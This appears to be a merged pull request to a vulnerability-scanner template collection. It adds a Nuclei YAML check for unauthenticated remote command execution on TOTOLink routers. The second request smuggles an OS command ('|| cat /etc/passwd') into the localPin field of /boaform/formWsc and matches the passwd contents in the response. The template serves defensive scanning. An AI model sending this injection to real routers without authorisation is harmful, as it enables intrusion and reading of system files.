Merge pull request #12425 from projectdiscovery/totolink-boaform-rce

Create totolink-boaform-rce.yaml

Author: pussycat0x

http/vulnerabilities/totolink-boaform-rce.yaml

@@ -0,0 +1,51 @@
+id: totolink-boaform-rce
+
+info:
+  name: TOTOLink Router - Remote Command Execution
+  author: ritikchaddha
+  severity: critical
+  description: |
+    TOTOLink routers are vulnerable to unauthenticated remote command execution via the /boaform/formWsc endpoint. An attacker can inject OS commands through the localPin parameter.
+  reference:
+    - https://github.com/fizz-is-on-the-way/Iot_vuls/blob/main/N150RT/RCE_formWsc/README.md
+  classification:
+    cwe-id: CWE-78
+  metadata:
+    max-request: 2
+    product: TOTOLINK
+    fofa-query: title="TOTOLINK"
+  tags: totolink,rce,router,boaform
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code==200'
+          - 'contains(tolower(body), "totolink")'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        POST /boaform/formWsc HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        targetAPMac=001A2B3C4D5E&targetAPSsid=3232&submit-url=aaaaaa&localPin=aaaa%20||%20cat%20/etc/passwd
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0:"
+
+      - type: status
+        status:
+          - 200